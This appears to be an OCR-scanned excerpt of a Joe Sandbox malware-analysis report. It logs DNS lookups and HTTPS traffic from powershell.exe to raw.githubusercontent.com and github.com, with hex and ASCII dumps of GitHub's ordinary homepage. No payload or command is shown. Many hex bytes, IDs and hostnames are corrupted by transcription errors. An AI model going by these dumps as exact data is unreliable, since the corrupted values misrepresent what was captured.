Apr 20, 2022 15:07:31.308356047 CEST 53 64277 8.8.8.8 192.168.2.4
Apr 20, 2022 15:07:36.310765028 CEST 56076 53 192.168.2.4 8.8.8.8
Apr 20, 2022 15:07:36.327214003 CEST 53 56076 8.8.8.8 192.168.2.4
Apr 20, 2022 15:07:36.548306942 CEST 60758 53 192.168.2.4 8.8.8.8
Apr 20, 2022 15:07:36.565921068 CEST 53 60758 8.8.8.8 192.168.2.4
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Apr 20, 2022 15:07:31.034818888 CEST 192.168.2.4 8.8.8.8 Oxe3fd Standard query  raw.github A (IP address) IN (0x0001)
(0) usercontent.com
Apr 20, 2022 15:07:31.286768913 CEST 192.168.2.4 8.8.8.8 0x7975 Standard query  github.com A (IP address) IN (0x0001)
0
Apr 20, 2022 15:07:36.310765028 CEST 192.168.2.4 8.8.8.8 Oxe641 Standard query  github.git A (IP address) IN (0x0001)
(0) hubassets.com
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Timestamp

Apr 20, 2022 15:07:36.548306942 CEST

DNS Answers

Timestamp

Apr 20, 2022
15:07:31.052894115 CEST

Apr 20, 2022
15:07:31.052894115 CEST

Apr 20, 2022
15:07:31.052894115 CEST

Apr 20, 2022
15:07:31.052894115 CEST

Apr 20, 2022
15:07:31.308356047 CEST

Apr 20, 2022
15:07:36.327214003 CEST

Apr 20, 2022
15:07:36.327214003 CEST

Apr 20, 2022
15:07:36.327214003 CEST

Apr 20, 2022
15:07:36.327214003 CEST

Apr 20, 2022
15:07:36.565921068 CEST

Apr 20, 2022
15:07:36.565921068 CEST

Apr 20, 2022
15:07:36.565921068 CEST

Apr 20, 2022
15:07:36.565921068 CEST

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

HTTP Request Dependency Graph

.

.

.

raw.githubusercontent.com

github.com

github.githubassets.com

avatars.githubusercontent.com

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.4
. kBytes

Timestamp transferred

2022-04-20 13:07:31 UTC 0

Copyright Joe Security LLC 2022

Source IP Dest IP Trans ID
192.168.2.4 8.8.8.8 Ox2dae
Dest IP Trans ID Reply Code Name
192.168.2.4 Oxe3fd No error (0) raw.github
usercontent.com
192.168.2.4 Oxe3fd No error (0) raw.github
usercontent.com
192.168.2.4 Oxe3fd No error (0) raw.github
usercontent.com
192.168.2.4 Oxe3fd No error (0) raw.github
usercontent.com
192.168.2.4 0x7975 No error (0) github.com
192.168.2.4 Oxe641 No error (0) github.git
hubassets.com
192.168.2.4 Oxe641 No error (0) github.git
hubassets.com
192.168.2.4 Oxe641 No error (0) github.git
hubassets.com
192.168.2.4 Oxe641 No error (0) github.git
hubassets.com
192.168.2.4 Ox2dae No error (0) avatars.gi
thubuserco
ntent.com
192.168.2.4 Ox2dae No error (0) avatars.gi
thubuserco
ntent.com
192.168.2.4 Ox2dae No error (0) avatars.gi
thubuserco
ntent.com
192.168.2.4 Ox2dae No error (0) avatars.gi
thubuserco
ntent.com
Source Port Destination IP Ez:tt ination Process

49747

Direction

ouT

185.199.111.133 443

Data

GET/HTTP/1.1

OP Code

Standard query
0

CName

Name Type Class
avatars.gi A (IP address) IN (0x0001)
thubuserco
ntent.com
Address Type Class
185.199.111.133 A (IP address) IN
(0x0001)
185.199.109.133 A (IP address) IN
(0x0001)
185.199.108.133 A (IP address) IN
(0x0001)
185.199.110.133 A (IP address) IN
(0x0001)
140.82.121.3 A (IP address) IN
(0x0001)
185.199.108.154 A (IP address) IN
(0x0001)
185.199.109.154 A (IP address) IN
(0x0001)
185.199.110.154 A (IP address) IN
(0x0001)
185.199.111.154 A (IP address) IN
(0x0001)
185.199.108.133 A (IP address) IN
(0x0001)
185.199.109.133 A (IP address) IN
(0x0001)
185.199.110.133 A (IP address) IN
(0x0001)
185.199.111.133 A (IP address) IN
(0x0001)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1

Host: raw.githubusercontent.com
Connection: Keep-Alive
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kBytes

Timestamp A Direction
2022-04-20 13:07:31 UTC 0 IN
Session ID Source IP Source Port
1 192.168.2.4 49750
kByt:
Timestamp yees Direction
transferred
2022-04-20 13:07:31 UTC 0 ouT
2022-04-20 13:07:31 UTC 1 IN
2022-04-20 13:07:31 UTC 1 IN
2022-04-20 13:07:31 UTC 3 IN
2022-04-20 13:07:31 UTC 4 IN

Copyright Joe Security LLC 2022

Data

HTTP/1.1 301 Moved Permanently

Connection: close

Content-Length: 0

Content-Security-Policy: default-src 'none’; style-src ‘'unsafe-inline’; sandbox
Location: https://github.com/

Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-Id: 63FC:30A1:36EF8:3E4A2:62600593
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:31 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6981-MXP

X-Cache: MISS

X-Cache-Hits: 0

X-Timer: S1650460051.168033,VS0,VE91

Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 879a6876947496796558bfddda939315bc3fe730
Expires: Wed, 20 Apr 2022 13:12:31 GMT

Source-Age: 0

Destination IP RLEUE R Process

Port
140.82.121.3 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
Host: github.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: GitHub.com

Date: Wed, 20 Apr 2022 13:07:23 GMT

Content-Type: text/html; charset=utf-8

Vary: X-PJAX, X-PJAX-Container, Accept-Language, Accept-Encoding, Accept, X-Requested-With
permissions-policy: interest-cohort=()

content-language: en-US

ETag: W/"79f4746e434c65971e55e3728180dch2"

Cache-Control: max-age=0, private, must-revalidate

Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny

X-Content-Type-Options: nosniff

X-XSS-Protection: 0

Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin

Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"

Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6¢ 69 63 79 3a 20 64 65 66 61 75 6¢ 74 2d 73 72 63
20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6¢ 66 27 3b 20 62 6¢ 6f 63 6b 2d 61 6¢C 6¢C 2d 6d 69 78
65 64 2d 63 6f 6e 74 65 6e 74 3b 20 63 68 69 6¢ 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73
2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f
77 6f 72 6b 65 72 2f 3b 20 63 6f 6€ 6e 65 63 74 2d 73 72 63 20 27 73 65 6¢ 66 27 20 75 70 6¢ 6f 61 64 73 2e 67 69 74 68
75 62 2e 63 6f 6d 20 6f 62 6a 65 63 74 73 2d 6f 72 69 67 69 6e 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e
63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e

Data Ascii: Content-Security-Policy: default-src ‘'none'; base-uri ‘self'; block-all-mixed-content; child-src github.com/assets-
cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src ‘self' uploads.github.com objects-origin.githubuserco
ntent.com www.githubstatus.

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 6f 63 74 6f 3d 47 48 31 2e 31 2e 31 38 36 34 32 35 37 32 35 36 2e 31
36 35 30 34 36 30 30 35 31 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 67 69 74 68 75 62 2e 63 6f 6d 3b 20 45
787069 72 65 73 3d 54 68 75 2c 20 32 30 20 41 70 72 20 32 30 32 33 20 31 33 3a 30 37 3a 33 31 20 47 4d 54 3b 20 53
65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6¢ 6f 67 67 65 64 5f
69 6e 3d 6e 6f 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 67 69 74 68 75 62 2e 63 6f 6d 3b 20 45 78 70 69 72 65
73 3d 54 68 75 2c 20 32 30 20 41 70 72 20 32 30 32 33 20 31 33 3a 30 37 3a 33 31 20 47 4d 54 3b 20 48 74 74 70 4f 6e
6¢c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4c

Data Ascii: Set-Cookie: _octo=GH1.1.1864257256.1650460051; Path=/; Domain=github.com; Expires=Thu, 20 Apr 2023
13:07:31 GMT; Secure; SameSite=LaxSet-Cookie: logged_in=no; Path=/; Domain=github.com; Expires=Thu, 20 Apr 2023
13:07:31 GMT; HttpOnly; Secure; SameSite=L

Data Raw: 45 44 39 39 0d Oa Oa Oa Oa Oa Oa Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61
6e 67 3d 22 65 6e 22 20 20 3e Oa 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22
75 74 66 2d 38 22 3e Oa 20 20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66
3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 22 3e Oa 20 20 3c 6
€ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 76
61 74 61 72 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 22 3e 0a 20 20 3¢ 6¢ 69 6e 6b 20 72
65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d

Data Ascii: ED99<!DOCTYPE html><html lang="en" > <head> <meta charset="utf-8"> <link rel="dns-prefetch"
href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link r
el="dns-prefetch" href=
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Timestamp transferred Direction
2022-04-20 13:07:31 UTC 5 IN
2022-04-20 13:07:31 UTC 6 IN
2022-04-20 13:07:31 UTC 7 IN
2022-04-20 13:07:31 UTC 9 IN
2022-04-20 13:07:31 UTC 10 IN
2022-04-20 13:07:31 UTC 11 IN
2022-04-20 13:07:31 UTC 13 IN
2022-04-20 13:07:31 UTC 14 IN
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Data

Data Raw: 2d 63 6f 6¢ 6f 72 2d 74 68 65 6d 65 3d 22 6¢ 69 67 68 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e
6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6¢ 6C 22 20 69 6€ 74 65 67 72 69 74 79 3d 22 73 68 61 35 31 32 2d
6b 73 66 54 67 51 4f 4f 6e 45 2b 46 46 58 66 2b 79 4e 66 56 6a 4b 53 6¢ 45 63 6b 4a 41 64 75 66 46 49 59 47 4b 37 5a
6a 52 68 57 63 5a 67 7a 41 47 63 6d 5a 71 71 41 72 54 67 4d 4c 70 75 39 30 46 77 74 68 71 63 43 58 34 6¢ 64 44 67 4b
58 62 6d 56 4d 65 75 51 3d 3d 22 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d
22687474 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f
6c 69 67 68 74 2d 39 32 63 37 64 33 38 31 30 33 38 65 2e 63 73 73 22

Data Ascii: -color-theme="light" crossorigin="anonymous" media="all" integrity="sha512-ksfTgQOONE+FFXf+yNfVjKS
|IEckJAdufFIYGK7ZjRhWcZgzAGemZqgArTgMLpu90FwthgcCX4ldDgKXbmVMeuQ==" rel="stylesheet" data-href="https
:/lgithub.githubassets.com/assets/light-92c7d381038e.css"

Data Raw: 30 63 30 34 63 34 39 31 2e 63 73 73 22 20 2f 3e 3c 6¢ 69 6e 6b 20 64 61 74 61 2d 63 6f 6¢ 6f 72 2d 74 68 65
6d 65 3d 22 6¢ 69 67 68 74 5f 63 6f 6¢ 6f 72 62 6¢ 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79
6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6¢ 6C 22 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 35 31 32 2d 33 48 46
32 485a 34 4c 67 45 49 51 6d 37 37 79 4f 7a 6f 65 52 32 30 43 58 31 6e 32 63 55 51 6¢ 63 79 77 73 63 71 46 34 73 2b
35 69 70 6¢ 6f 6¢ 61 6a 69 48 56 37 45 35 72 61 6e 42 77 6b 58 36 35 6a 4e 39 54 4e 63 69 48 45 56 53 59 65 62 51 2b 3
8787845 77 3d 3d 22 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74
74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65

Data Ascii: 0c04c491.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha
512-3HF2HZALgEIQm77y0z0oeR20CX1n2cUQlcywscqF4s+5iplolajiHV7E5ranBwkX65N9TNCIHEVSYebQ+8xxEw=="
rel="stylesheet" data-href="https://github.githubasse

Data Raw: 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 66 72 61 6d 65 77 6f 72 6b
73 2d 36 39 30 33 66 34 34 37 31 38 35 33 2e 63 73 73 22 20 2f 3e 0a 20 20 20 20 3c 6¢ 69 6e 6b 20 63 72 6f 73 73 6f 72
69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6¢ 6¢ 22 20 69 6e 74 65 67 72 69 74 79 3d
22736861 353132 2d 64 74 34 48 47 62 68 61 32 67 5a 6¢ 43 4e 58 36 6d 71 67 4f 35 4c 71 73 4f 67 48 6d 68 48 64
435376 41 4e 74 6a 67 44 72 36 54 79 38 34 6b 4a 6d 71 35 57 6b 31 44 58 49 67 36 46 56 2f 59 4d 6a 33 71 41 31 35
4e 65 53 35 37 52 4c 5a 76 64 33 67 30 46 32 41 3d 3d 22 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72
65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68

Data Ascii: ub.githubassets.com/assets/frameworks-6903f4471853.css" />  <link crossorigin="anonymous" media="all"
integrity="sha512-dt4HGbha2gZICNX6mqgO5LgsOgHmMhHdCSvANtjgDr6 Ty84kJmq5Wk1DXIg6FV/YMj3gA15NeS57R
LZvd3g0F2A=="rel="stylesheet" href="https://github.gith

Data Raw: 74 65 67 72 69 74 79 3d 22 73 68 61 35 31 32 2d 76 73 42 47 70 70 6d 58 49 45 6a 4c 55 74 4f 62 36 65 2f 71
4f 2b 64 45 67 44 65 65 72 72 76 51 42 45 71 73 56 52 6d 48 58 4e 6a 6¢ 6a 35 72 74 33 4f 53 43 35 68 58 4f 38 56 6b
6b 5a 65 68 71 33 79 48 4¢c 34 47 2b 70 73 42 51 4e 2f 42 4f 4c 70 79 74 67 61 77 3d 3d 22 20 73 72 63 3d 22 68 74 74
70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6e 76 69
72 6f 6e 6d 65 6e 74 2d 62 65 63 30 34 36 61 36 39 39 39 37 2e 6a 73 22 3e 3c 2f 7363 7269 70 74 3e 0a 3c 73 63 72 6
97074206372 6f73 73 6f7269 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72
222074797065 3d 226170 70 6¢ 69 63 61 74 69 6f 6e 2f 6a 61

Data Ascii: tegrity="sha512-vsBGppmXIEjLUtOb6e/qO+dEgDeerrvQBEqsVRmMHXN;lj5rt30SC5hX08VkkZehq3yHLA4G+p
sBQN/BOLpytgaw=="src="https://github.githubassets.com/assets/environment-bec046a69997.js"></script><script cr
ossorigin="anonymous" defer="defer" type="application/ja

Data Raw: 79 79 74 35 57 77 38 4a 31 59 68 5a 76 68 5a 41 53 53 59 4a 52 51 45 4f 50 74 75 64 58 65 61 45 5a 50 61
6c 50 41 75 30 32 5a 69 55 30 73 51 71 54 67 3d 3d 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e
67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6¢ 65 6d 65 6e 74 2d 72 65 67 69 7374 72 7
9 2d 64 38 36 34 36 38 36 39 32 64 32 31 2e 6a 73 22 3e 3¢ 2f 73 63 72 69 70 74 3e Oa 3c 73 63 72 69 70 74 20 63 72 6f
73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65
3d 22 61 70 70 6¢ 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68
61 35 31 32 2d 5a 41 4b 5a 51 57 43 45 63 36 62 73 39 4c 53 51 4f 43 50

Data Ascii: yytsWw8J1YhZvhZASSYJRQEOPtudXeaEZPalPAu02ZiU0sQqTg=="src="https://github.githubassets.c
om/assets/element-registry-d86468692d21.js"></script><script crossorigin="anonymous" defer="defer" type="appli
cation/javascript” integrity="sha512-ZAKZQWCEc6bs9LSQOCP

Data Raw: 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74
73 2f 31 37 31 37 2d 38 35 65 31 62 37 32 34 63 61 31 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e Oa 3c 73 63 72 69
707420 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22
207479 70 65 3d 22 61 70 70 6¢ 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 6e 74 65 67 72 69 74
79 3d 22 73 68 61 3531 32 2d 7352 51 68 70 73 76 57 73 61 46 63 65 53 67 6d 30 59 30 61 59 58 44 46 4c 45 4b 78 56
74 41 49 6a 68 6a 59 79 67 49 72 6¢ 64 57 59 63 76 6d 4e 6e 41 39 6¢ 61 79 32 4b 68 57 2f 69 5a 71 30 6e 48 61 63 54
52 69 36 32 4c 72 4b 49 52 79 42 48 4a 73 41 70 7a 51 3d 3d 22 20 73

Data Ascii: ttps://github.githubassets.com/assets/1717-85e1b724cal0.js"></script><script crossorigin="anonymous"
defer="defer" type="application/javascript" integrity="sha512-sRQhpsvWsaFceSgm0Y0aYXDFLEKxVtAljhjYyglrldWYc
vmNnA9lay2KhW/iZqOnHacTRi62LIKIRyBHIsSApzQ=="s

Data Raw: 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65
72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6¢ 69 63 61 74 69 6f 6 2f 6a 61 76 61 73 63 72 69 70 74 22
20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 35 31 32 2d 73 62 30 4f 4e 36 6d 30 46 61 4c 63 67 76 70 66 2f 6¢ 4d 54
4a 66 51 30 63 73 2b 6b 47 75 70 39 48 61 54 65 6¢ 55 66 39 48 36 64 51 31 69 63 2f 67 78 70 33 79 57 44 6b 4f 76 54 5
939 77 2b 49 77 43 53 67 4d 68 4a 37 5a 30 67 47 66 30 6¢ 57 57 64 65 31 32 51 3d 3d 22 20 73 72 63 3d 22 68 74 74
70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 62 65 68 61
76 69 6f 72 73 2d 62 31 62 64 30 65 33 37 61 39 62 34 2e 6a 73 22 3e

Data Ascii: <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-sb00
N6mOFaLcgvpf/IMTIfQOcs+kGup9HaTelUf9H6dQ1ic/gxp3yWDKOVTY9w+IwCSgMhJ7Z0gGfoIWWdel12Q==" src=
"https://github.githubassets.com/assets/behaviors-b1bd0e37a9b4.js">

Data Raw: 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 6e 74 65
67 7269 74 79 3d 22 73 68 61 35 31 32 2d 38 47 69 44 66 2f 4f 6d 47 52 55 78 50 6d 76 46 70 79 6f 30 55 6¢ 48 62 75 75
6f 74 70 53 46 47 73 37 31 43 76 33 5a 6d 2f 39 2f 57 6a 79 43 4d 63 45 61 44 70 57 74 34 64 2b 45 69 59 66 69 2b 2f 79
5a 49 4f 6b 46 65 4b 6a 46 4e 49 72 55 47 54 6d 48 6f 62 67 3d 3d 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74
68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 33 31 39 38 2d 66 30 36 38 38 33
37 66 66 33 61 36 2e 6a 73 22 3e 3¢ 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e
3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22

Data Ascii: " type="application/javascript" integrity="sha512-8GiDf/OmGRUxPmvFpyoOUIHbuuotpSFGs71Cv3
Zm/9/WjyCMcEaDpW1t4d+EiYfi+/yZIOkFeKjFNIrUGTmHobg==" src="https://github.githubassets.com/assets/3198-
f068837ff3a6.js"></script><script crossorigin="anonymous" defer="
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Timestamp transferred Direction
2022-04-20 13:07:31 UTC 15 IN
2022-04-20 13:07:31 UTC 17 IN
2022-04-20 13:07:31 UTC 18 IN
2022-04-20 13:07:31 UTC 19 IN
2022-04-20 13:07:31 UTC 21 IN
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2022-04-20 13:07:31 UTC 23 IN
2022-04-20 13:07:31 UTC 25 IN
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Data

Data Raw: 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40
67 69 74 68 75 62 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e
74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6¢ 61 72 67 65 5f 69 6d 61 67 65 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3
d 22747769 7474 65 72 3a 74 69 74 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22 47 69 74 48 75 62 3a 20 57 68 65 72 65
20 74 68 65 20 77 6f 72 6¢ 64 20 62 75 69 6¢ 64 73 20 73 6f 66 74 77 61 72 65 22 20 2f 3e 3¢ 6d 65 74 61 20 6e 61 6d 65
3d 227477 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 47 69 74 48 75 62 20
69 73 20 77 68 65 72 65 20 6f 76 65 72 20 37 33 20 6d 69 6¢C 6¢ 69 6f 62

Data Ascii: meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:title" content="GitHub: Where the world builds software" /><meta name="twitter:description" con
tent="GitHub is where over 73 million

Data Raw: 73 74 2d 69 64 22 20 63 6f 6e 74 65 6e 74 3d 22 38 42 30 34 3a 32 43 43 38 3a 32 42 45 37 45 45 3a 32 45
303342 33 3a 363236 303035 3933222064 6174612d706a6l782d 747261 6e 7369 65 6e 74 3d 22 74 72 75
65 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 68 74 6d 6¢ 2d 73 61 66 65 2d 6e 6f 6e 63 65 22 20 63 6f 6e 74 65 6e 74
3d 22 62 33 38 66 63 63 35 30 35 64 31 66 36 30 65 62 33 37 36 61 37 62 33 34 62 32 66 64 31 64 3531 63 39 61 34 32
36 65 63 65 38 66 61 39 31 34 62 62 63 66 61 34 62 35 66 39 32 32 38 33 64 35 39 22 20 64 61 74 61 2d 70 6a 61 78 2d
7472 61 6e 73 69 65 6e 74 3d 22 74 72 75 65 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 73 69 74 6f 72 2d 70
61 79 6¢ 6f 61 64 22 20 63 6f 6e 74 65 6e 74 3d 22 65 79 4a 79 5a 57 5a

Data Ascii: st-id" content="8B04:2CC8:2BE7EE:2E03B3:62600593" data-pjax-transient="true"/><meta name="html-safe-
nonce" content="b38fcc505d1f60eb376a7b34b2fd1d51c9a426ece8fa914bbcfadb5f92283d59" data-pjax-transient="true"/>
<meta name="visitor-payload" content="eyJyZWZ

Data Raw: 74 65 6e 74 3d 22 22 3e Oa 0a Oa Oa 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 65 78 70 65 63
74 65 64 2d 68 6f 73 74 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 67 69 74 68 75 62 2e 63 6f 6d 22 3e Oa Oa Oa 20
2020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 65 6e 61 62 6¢ 65 64 2d 66 65 61 74 75 72 65 73 22 20 63 6f 6e 74 65 6e
74 3d 22 4d 41 52 4b 45 54 50 4c 41 43 45 5f 50 45 4e 44 49 4e 47 5f 49 4e 53 54 41 4c 4c 41 54 49 4f 4e 53 22 3e Oa Oa
0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 70 6a 61 78 2d 76 65 72 73 69 6f 6e 22 20 63 6f
6e 74 65 6e 74 3d 22 66 65 65 33 34 65 34 63 66 37 35 31 37 35 33 38 32 65 65 62 61 39 34 65 35 34 30 39 35 34 63 62
37 30 38 31 36 30 39 30 30 34 63 66 34 39 61 33 64 33 63 65 61 30 34 33

Data Ascii: tent="">  <meta name="expected-hostname" content="github.com"> <meta name="enabled-features”
content="MARKETPLACE_PENDING_INSTALLATIONS"> <meta http-equiv="x-pjax-version" content="fee34e4cf
75175382eeba94e540954ch7081609004cf49a3d3ceads3

Data Raw: 66 6f 6e 74 22 20 74 79 70 65 3d 22 66 6f 6e 74 2f 77 6f 66 66 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e Oa Oa
0Oa 0a 20 20 20 20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 63 61 6e 6f 6e 69 63 61 6¢ 22 20 68 72 65 66 3d 22 68 74 74 70 73
3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 22 20 64 61 74 61 2d 70 6a 61 78 2d 74 72 61 6e 73 69 65 6e 74 3e Oa Oa Oa 20
20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 62 72 6f 77 73 65 72 2d 73 74 61 74 73 2d 75 72 6¢ 22 20 63 6f 6e 74 65 6e 74
3d 2268 74 74 70 73 3a 2f 2f 61 70 69 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 5f 70 72 69 76 61 74 65 2f 62 72 6f 77 73 65
72 2f 73 74 61 74 73 22 3e 0a 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 62 72 6f 77 73 65 72 2d 65 72 72 6f 72 73 2d
75 72 6¢ 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a

Data Ascii: font" type="font/woff" crossorigin>  <link rel="canonical" href="https://github.com/" data-pjax-transient> <meta
name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url"
content="https:

Data Raw: 74 79 6¢ 65 3d 22 77 69 64 74 68 3a 20 30 25 3b 22 20 64 61 74 61 2d 76 69 65 77 2d 63 6f 6d 70 6f 6e 65 6e
743d 227472756522 2063 6¢ 61 73 73 3d 22 50 72 6f 67 72 65 73 73 2d 69 74 65 6d 20 70 72 6f 67 72 65 73 73 2d
70 6a 61 78 2d 6¢ 6f 61 64 65 72 2d 62 61 72 20 6¢ 65 66 74 2d 30 20 74 6f 70 2d 30 20 63 6f 6¢ 6f 72 2d 62 67 2d 61 63
63 65 6e 74 2d 65 6d 70 68 61 73 69 73 22 3e 3c 2f 73 70 61 6e 3e Oa 3c 2f 73 70 61 6e 3e 20 20 20 20 20 20 0a 20 20
